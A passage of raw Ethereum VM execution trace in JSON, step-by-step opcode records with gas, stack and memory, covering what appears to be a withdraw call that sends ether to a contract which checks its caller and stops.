000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":1591,"op":"SSTORE","gas":17609,"gasCost":100,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1592,"op":"POP","gas":17509,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1593,"op":"POP","gas":17507,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1594,"op":"PUSH1","gas":17505,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1596,"op":"MLOAD","gas":17502,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1597,"op":"PUSH1","gas":17499,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1599,"op":"SWAP1","gas":17496,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x80","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1600,"op":"CALLER","gas":17493,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1601,"op":"SWAP1","gas":17491,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x80","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1602,"op":"DUP4","gas":17488,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1603,"op":"SWAP1","gas":17485,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x80","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1604,"op":"DUP4","gas":17482,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1605,"op":"DUP2","gas":17479,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1606,"op":"DUP2","gas":17476,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x0","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1607,"op":"DUP2","gas":17473,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x0","0x80","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1608,"op":"DUP6","gas":17470,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x0","0x80","0x0","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1609,"op":"DUP8","gas":17467,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x0","0x80","0x0","0x80","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1610,"op":"GAS","gas":17464,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x0","0x80","0x0","0x80","0x136dbf40ac09b","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1611,"op":"CALL","gas":17462,"gasCost":17332,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x0","0x80","0x0","0x80","0x136dbf40ac09b","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4436"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":0,"op":"PUSH1","gas":10532,"gasCost":3,"depth":3,"stack":[],"memory":[],"refund":22700},{"pc":2,"op":"PUSH1","gas":10529,"gasCost":3,"depth":3,"stack":["0x80"],"memory":[],"refund":22700},{"pc":4,"op":"MSTORE","gas":10526,"gasCost":12,"depth":3,"stack":["0x80","0x40"],"memory":[],"refund":22700},{"pc":5,"op":"PUSH1","gas":10514,"gasCost":3,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":7,"op":"CALLDATASIZE","gas":10511,"gasCost":2,"depth":3,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":8,"op":"LT","gas":10509,"gasCost":3,"depth":3,"stack":["0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":9,"op":"PUSH2","gas":10506,"gasCost":3,"depth":3,"stack":["0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":12,"op":"JUMPI","gas":10503,"gasCost":10,"depth":3,"stack":["0x1","0x12d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":301,"op":"JUMPDEST","gas":10493,"gasCost":1,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":302,"op":"CALLDATASIZE","gas":10492,"gasCost":2,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":303,"op":"PUSH2","gas":10490,"gasCost":3,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":306,"op":"JUMPI","gas":10487,"gasCost":10,"depth":3,"stack":["0x0","0x16c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":307,"op":"CALLER","gas":10477,"gasCost":2,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":308,"op":"PUSH1","gas":10475,"gasCost":3,"depth":3,"stack":["0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":310,"op":"PUSH1","gas":10472,"gasCost":3,"depth":3,"stack":["0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":312,"op":"PUSH1","gas":10469,"gasCost":3,"depth":3,"stack":["0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":314,"op":"SHL","gas":10466,"gasCost":3,"depth":3,"stack":["0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":315,"op":"SUB","gas":10463,"gasCost":3,"depth":3,"stack":["0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":316,"op":"PUSH32","gas":10460,"gasCost":3,"depth":3,"stack":["0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":349,"op":"AND","gas":10457,"gasCost":3,"depth":3,"stack":["0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":350,"op":"EQ","gas":10454,"gasCost":3,"depth":3,"stack":["0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":351,"op":"PUSH2","gas":10451,"gasCost":3,"depth":3,"stack":["0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":354,"op":"JUMPI","gas":10448,"gasCost":10,"depth":3,"stack":["0x1","0x16a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":362,"op":"JUMPDEST","gas":10438,"gasCost":1,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":363,"op":"STOP","gas":10437,"gasCost":0,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1612,"op":"SWAP3","gas":10567,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x80","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1613,"op":"POP","gas":10564,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x136dbf40ac09b","0x80","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1614,"op":"POP","gas":10562,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x136dbf40ac09b","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1615,"op":"POP","gas":10560,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1616,"op":"RETURNDATASIZE","gas":10558,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1617,"op":"DUP1","gas":10556,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1618,"op":"PUSH1","gas":10553,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1620,"op":"DUP2","gas":10550,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1621,"op":"EQ","gas":10547,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1622,"op":"PUSH2","gas":10544,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1625,"op":"JUMPI","gas":10541,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x1","0x67b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1659,"op":"JUMPDEST","gas":10531,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1660,"op":"PUSH1","gas":10530,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1662,"op":"SWAP2","gas":10527,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x60"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1663,"op":"POP","gas":10524,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x60","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1664,"op":"JUMPDEST","gas":10522,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x60","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1665,"op":"POP","gas":10521,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x60","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1666,"op":"POP","gas":10519,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1","0x60"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1667,"op":"SWAP1","gas":10517,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x0","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1668,"op":"POP","gas":10514,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1669,"op":"DUP1","gas":10512,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1670,"op":"PUSH2","gas":10509,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1673,"op":"JUMPI","gas":10506,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x1","0x6dd"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1757,"op":"JUMPDEST","gas":10496,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1758,"op":"PUSH1","gas":10495,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1760,"op":"MLOAD","gas":10492,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1761,"op":"DUP3","gas":10489,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1762,"op":"DUP2","gas":10486,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x80","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1763,"op":"MSTORE","gas":10483,"gasCost":9,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x80","0x136dbf40ac09b","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"],"refund":22700},{"pc":1764,"op":"CALLER","gas":10474,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1765,"op":"SWAP1","gas":10472,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x80","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1766,"op":"PUSH32","gas":10469,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1799,"op":"SWAP1","gas":10466,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x80","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1800,"op":"PUSH1","gas":10463,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0x80"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1802,"op":"ADD","gas":10460,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0x80","0x20"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1803,"op":"PUSH1","gas":10457,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000000136dbf40ac09b"],"refund":22700},{"pc":1805,"op":"MLOAD","gas":10454,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x136dbf40ac09b","0x1","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98c